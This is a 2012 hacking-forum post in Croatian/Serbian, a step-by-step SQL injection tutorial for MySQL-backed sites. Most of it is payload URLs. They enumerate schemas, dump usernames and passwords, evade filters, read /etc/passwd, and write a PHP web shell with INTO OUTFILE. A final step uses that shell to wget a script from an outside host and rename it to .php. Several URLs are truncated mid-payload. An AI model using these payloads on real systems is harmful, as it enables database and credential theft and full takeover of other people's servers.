DIR Return Create A Forum - Home
---------------------------------------------------------
Link Systems
HTML https://linksystems.createaforum.com
---------------------------------------------------------
*****************************************************
DIR Return to: Hakerski Tutoriali
*****************************************************
#Post#: 28--------------------------------------------------
SQL Injection 2
DIR By: ShaPpel
Date: April 11, 2012, 10:20 am
---------------------------------------------------------
[table of content]
[0] Sto je SQLi?
[1] Kako provjeriti dali je sajt ranjiv na SQLi
[2] Saznati koliko ima kolona (Order by)
[3] Saznati preko koje kolone mozemo vaditi podatke (Union)
[4] Verzija MySQL-a i MySQL user
[5] Saznati ime tabela i kolona u tabelama iz baze
[6] Kako izvuci informacije iz tabele „users“ i iz kolona
„username“ i „password“
[7] Zaobilazenje filtera
[8] Load_file i Into Outfile funkcije[8]Outro
[0] Sto je SQLi?
SQLi je vrsta napada na web aplikacije u kojoj napadac
preoblikuje SQL upite kako bi izvukao podatke iz baze ili
izmijenio sadrzaj baze.
[1] Kako provjeriti dali je sajt ranjiv na SQLi
Imamo adresu
HTML http://sajt.com/index.php?id=123
i stranica se normalno otvorila. Da bi provjerili dal je ranjiva
na SQLi na kraj adrese dodajemo +and+1=2–
Nakon toga adresa izgleda ovako:
HTML http://sajt.com/index.php?id=123+and+1=2–
Ako se sadrzaj stranice promijenio, npr. nedostaje text, slika
ili neki dio stranice, cestitam, upravo ste nasli SQLi
ranjivost.
[2] Saznati koliko ima kolona (Order by)
Sljedece sto moramo uciniti je da saznamo koliko ima kolona. To
cinimo pomocu order by naredbe.
HTML http://sajt.com/index.php?id=123+order+by+1–
->Stranica se otvara normalno.Idemo dalje dok ne otkrijemo tocan
broj kolona.
HTML http://sajt.com/index.php?id=123+order+by+4–
->Jos uvijek se stranica otvara normalno.
HTML http://sajt.com/index.php?id=123+order+by+5–
->Stranica se nije otvorila normalno , fali neki dio ili smo
dobili error.Sada kada smo dobili error na 5, a na 4 je sve bilo
normalno, znamo da postoje 4 kolone.
[3] Saznati preko koje kolone mozemo vaditi podatke (Union)
Za to cemo koristiti naredbu union.
HTML http://sajt.com/index.php...union+select+all+1,2,3,4–
To bi trebalo izlistati neki broj od navedenih na sajtu. Ako ne
izbaci probajte dodati (-) ispred broja id-a. To ce onda
izgledati ovako.
HTML http://sajt.com/index.php...union+select+all+1,2,3,4–
[4] Verzija MySQL-a i MySQL user
Recimo da vam je vidljiva kolona 3 na sajtu i sad zelite da
znate verziju MySQL-a da bi znali dali mozete da izvucete imena
tabela i kolona iz tabela iz baze (vise o tome u sledecem
postupku)
Nacin na koji mozete saznati to jeste sa veoma jednostavnim
naredbama.version() – prikazuje verziju MySQL-a user() –
Prikazuje ime korisnika MySQL-a database() – Prikazuje ime baze
podataka.
Primer otkrivanja MySQL verzije:
HTML http://sajt.com/index.php...lect+all+1,2,version(),4–
[5] Saznati ime tabela i kolona u tabelama iz baze
U slucaju MySQL 4(verzija) nije moguce izvuci imena tabela i
imena nego se mora pogadjati i imena tabela i imena kolona iz
tabele. Mozete probati razne tablice dok ne pogodite. Npr.
admin,members,users,login
HTML http://sajt.com/index.php...t+all+1,2,3,4+from+admin–
Ako vrati normalno stranicu to znaci da postoji ta tablica , ako
bude error nastavite pogadjati.
Najcesca imena kolona su
username,user,password,user_name,user_password.
Od velike pomoci moze biti ako znate da na ranjivom sajtu ima
forum, pa onda znamo koja je tabela za user-a i od kojih se
kolona sastoji, osim ako je forum custom coded.
Kada nam je verzija MySQL-a 5(+) onda postoji
information_schema. Information_schema je posebna baza koja
sadrzi informacije (kao sto su tabele i kolone) o svim ostalim
bazama za istog MySQL user-a.Ovako mozemo provjeriti gdje sve
imamo pristup.
HTML http://sajt.com/index.php...+1,2,schema_name,4+from+
information_schema.schemata–
Ovo nam vraca samo prvu bazu iz information_scheme. Mozemo
koristiti komandu LIMIT kako bi vidjeli sve scheme. Tu istu
komandu mozemo kasnije primjenjivat za sve ostalo, bilo to
prikazivanje tablica, kolona ili izvlacenje podataka.
HTML http://sajt.com/index.php...+1,2,schema_name,4+from+
information_schema.schemata+limit+0,1–
Ovo nam pokazuje prvu schemu. Ako hocemo da nam pokaze trecu
(ako postoji) onda cemo staviti.
HTML http://sajt.com/index.php...+1,2,schema_name,4+from+
information_schema.schemata+limit+2,1–
Laksi nacin za sve ovo je koristenje group_concat
HTML http://sajt.com/index.php...cat(schema_name),4+from+
information_schema.schemata–
Sada nam je prikazalo sve scheme, a takoder mozemo koristiti i
concat.
HTML http://sajt.com/index.php...cat(schema_name),4+from+
information_schema.schemata–
Sada slijedi izvlacenje tablica iz information_scheme. To
odradujemo preko information_scheme koja u sebi sadrzi tablicu
tables sa popisom svih tabela.
HTML http://sajt.com/index.php...ncat(table_name),4+from+
information_schema.tables–
Naravno, group_concat koristimo da bi dobili imena svih tabela.
Kod ovog gore upita ne valja jedna stvar, a to je jer on vraca
sve tabele dok nam neke nam nisu potrebne, npr. tabele od
information_scheme. Ako hocemo da nam vrati tabele samo od
trenutne baze to cemo ovako napraviti.
HTML http://sajt.com/index.php...ncat(table_name),4+from+
information_schema.tables+where+table_schema=database()–
where govori sql-u da selektira samo one tabele od scheme koja
je postavljena iza znaka jednakosti, a mi smo postavili funkciju
database(). To znaci da ce nam upit vratit samo tabele iz
trenutne scheme. Kada smo izvrsili taj upit, na ekranu dobivamo
npr. tabelu users.
Kolone dobivamo iz information_schema.columns
HTML http://sajt.com/index.php...cat(column_name),4+from+
information_schema.columns+where+table_name=0×5573657273–
Recimo da nam izbacuje da imaju kolone username i password.
[Za napredne] Neki ce se zapitati kako sada izvaditi tabele iz
neke druge scheme.Za primjer uzmimo da imamo schemu koja se zove
sporedna. Podatke vadimo ovako:
HTML http://sajt.com/index.php...ncat(table_name),4+from+
information_schema.tables+where+table_schema=’sporedna’–
U puno slucajeva izbacivat ce nam error jer su magic qoutes =
on, pa ime scheme moramo hexat. Ja to radim pomocu ove stranice
HTML http://www.easycalculation.com/ascii-hex.php
Samo unesemo string i ono izbaci hex vrijednost i ascii
vrijednost koji cemo kasnije koristiti. hex vrijednost za string
sporedna = 73706F7265646E61 , link sa hexanom schemom postaje
HTML http://sajt.com/index.php...ncat(table_name),4+from+
information_schema.tables+where+table_schema=0x73706F7265646E61–
0x ubacujemo da bi server znao da pocinje hexani string. Takoder
smo izbacili ‘ iz query-a. Ostalo je isto.
[6] Kako izvuci informacije iz tabele „users“ i iz kolona
„username“ i „password“
Ovo je jedan od jednostavnijih delova
HTML http://sajt.com/index.php...,2,username,4+from+Users–
…ce vam prikazati prvi username u tabeli
HTML http://sajt.com/index.php...,2,password,4+from+Users–
…ce vam prikazati prvi password u tabeli
Mozete i vise kolona grupirati skupa pomocu group_concat ili
concat.
HTML http://sajt.com/index.php...),password),4+from+Users–
…bi trebalo da vam izbaci u ovom obliku Admin:Password gde je
Char(58) = : a moze se koristiti i 0x3a sto takoder predstavljat
„:“ .
[7] Zaobilazenje filtera
Recimo da skripta koja je ranjiva na SQLi blocka stringove
union,all i select onda mozemo probati mijenjati slova iz malih
u velika, pa bi nas query bio npr.
HTML http://sajt.com/index.php...uNiOn+sEleCt+aLl+1,2,3,4–
Na nekim sajtovima iako union radi necete moci koristiti
funkcije pa onda uradimo ovako.
HTML http://sajt.com/index.php...,unhex(hex(version())),4–
Negdje se blokira whitespace ili praznina , ako ju slucajno
koristite skripta vam moze blockat i taj query pa mozete
koristiti obicne comment taggove.
HTML http://sajt.com/index.php?id=123/**/union/**/select/**/all/**/1,2,3,4–
/* > oznacava pocetak , a */ oznacava kraj komentara, php i sql
se ne obaziru na njih.
[8] Load_file i Into Outfile funkcije
Evo malo objasnjenje za sta sluze ove dvije funkcije.
Quote:Load File: Reads the file and returns the file contents as
a string.Into OutFile: Writes the selected rows to a file. The
file is created on the server host, so you must have the file
privilege to use this syntax. File to be written cannot be an
existing file, which among other things prevents files (such as
„/etc/passwd“) and database tables from being destroyed.(… from:
MySQL.com)
Sa Load_file funkcijom mozemo procitati neke osjetljive file-ove
, npr. /etc/passwd, neki config itd.Ako hocemo procitat sadrzaj
/etc/passwd to cemo uciniti ovako.
HTML http://sajt.com/index.php...elect+all+1,2,load_file(‘/etc/passwd’),4–
Ako nam vraca error ili nemamo dopustenje za load_file ili su
magic qoutes = on , ako je 1. slucaj nema nam pomoci, a ako je
drugi slucaj mozemo hexat path ili koristiti char() funkciju.
Stranicu preko koje enkodiramo stringove sam vec dao malo iznad
gore ali evo opet
HTML http://www.easycalculation.com/ascii-hex.php
Hexano /etc/passwd = 2f6574632f706173737764. To ovako izgleda
HTML http://sajt.com/index.php...f6574632f706173737764),4–
Stranica bi trebala sadrzavat sadrzaj /etc/passwd Ako hocemo
koristiti char() funkciju onda za /etc/passwd uzimamo ASCII
values./etc/passwd = 47 101 116 99 47 112 97 115 115 119 100 i
to ovako izgleda
HTML http://sajt.com/index.php...2,97,115,115,119,100)),4–
Pomocu Into Outfile mozemo kreirati neki novi file. Da bi
uspjesno koristili Into Outfile fuknciju magic qoutes moraju
biti off, moramo imat file_priv i znati full path ako hocemo
doci do php shella. Da bi vidjeli dali imamo file_priv mozemo
probati zaviriti u mysql schemu, ako postoji.Recimo da smo
koristili user() komandu i nas user je test@localhost.Sada
izvrsavamo upit pomocu kojega cemo vidjeti dali user test ima
file_priv.
HTML http://sajt.com/index.php...riv),3,4+from+mysql.user–
To ce nam izbacit nesto slicno ovome :root:Ytest:Y
Ako pored naseg usera pise Y to znaci da imamo file_priv.Full
path cemo saznati tako da negdje na stranici izazovemo error.
Tada ce nam se ispisati full path.Recimo da je nas path
/home/test/public_html Po pitanje magic qoutes nemozemo nista ,
ako mozemo napraviti load_file bez hexanja to znaci da su magic
qoutes off i sve je spremno.Jedan koristan Into Outfile query bi
bio ovaj
HTML http://sajt.com/index.php...on+select+all+null,null,“<?<br
/>system($_GET['cmd']);
?>“,null+into+outfile+’/home/test/public_html/shell.php’–
Sve kolone zamijenimo sa null, a ona kolona pomocu koje smo
izvlacili podatke unesemo php kod koji hocemo samo pod
navodnicima. Poslije Into Outfile ide path + novi file koji ce
se kreirati sa kodom i sve to pod single qoute.
Ovom file-u sad pristupamo tako sto idemo na
HTML http://sajt.com/shell.php?cmd=wget
web.com/skripta.txt;mv
skripta.txt skripta.php
poslije cmd= ide neka komanda koju hocemo izvrsiti. Najcesce se
koristi wget i curl kako bi se uploadao neki file. mv koristimo
da bi preimenovali file u neku drugu ekstenziju, u ovom slucaju
iz .txt u .phpNa nekim serverim je system funkcija disabled pa
mozemo koristiti i exec, passtru ili neki drugi kod.Ako se
nalazite u situaciji gdje nemozete dobiti path, a na neki nacin
zelite izvuci odredene podatke iz baze to mozete takoder uciniti
pomocu into outfile funkcije.Mozemo selektirati odredene kolone
iz tabele i zapisati ih u neki file.To mozemo ovako napraviti.
HTML http://sajt.com/index.php...x3a,password),null+from+
Users+into+outfile+’/tmp/dump.txt’–
Ovo ce selektirat username i password iz users i zapisati ga u
dump.txt. U nekim slucajevima moze biti korisno. Da bi pogledali
taj file mozemo koristiti load_file funkciju koju sam povise
objasnio./tmp direktorij je na linuxu chmod-an na 777 sto znaci
da svatko moze pisati u njega.
*****************************************************
Page 1 of 1